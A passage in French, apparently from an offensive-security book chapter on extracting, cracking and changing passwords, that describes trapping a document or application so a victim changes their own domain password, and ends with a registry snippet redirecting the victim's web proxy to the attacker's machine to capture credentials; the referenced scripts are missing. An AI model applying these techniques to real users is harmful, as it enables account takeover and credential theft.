Extraire, casser, changer un mot de passe

Comment extraire un mot de passe sur une machine ou un contrôleur de domaine ?

Ce chapitre va nous permettre de démontrer qu’il est tout à fait possible de faire changer un mot de passe à un utilisateur sans connaître l’ancien, d’extraire les mots de passe stockés sur une machine locale ou sur un contrôleur de domaine. Il faut pour cela certains droits sur le système. Il est aussi possible d’écouter le réseau pour récupérer les informations d’authentification sans avoir besoin d’accéder directement au système ou de décrypter un mot de passe que l’on aurait intercepté même si celui-ci est protégé.

Nous allons commencer par faire changer le mot de passe d’un utilisateur sans connaître l’ancien. À dire vrai, c’est lui qui va le changer. Pour cela, nous allons encapsuler le script suivant dans une des techniques vues dans le chapitre précédent, c’est-à-dire, donner à notre victime un document, une application ou un zip piégé avec un petit bout de code.

Voilà le script, si vous piégez une application ou un pilote.

Voilà la ligne de code si vous piégez un document Office :

Tout le reste de la démarche a déjà été défini dans le chapitre précédent, veuillez vous y référer. Une fois le document ou l’application exécutés, le mot de passe de l’utilisateur sera changé sur le domaine. Si le mot de passe local doit être modifié, enlevez /Domain à la fin de la ligne de commande.

Comment récupérer un mot de passe depuis le réseau ?

Les mots de passe transitent aussi sur le réseau. Les sites web, les applications ou l’accès aux ressources demandent des informations de connexion. Nous allons profiter de cela pour récupérer des mots de passe.

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings 
"MigrateProxy"=dword:00000001 
"ProxyEnable"=dword:00000001 
"ProxyHttp1.1"=dword:00000001 
"ProxyServer"=" http=nomdenotremachine:8080"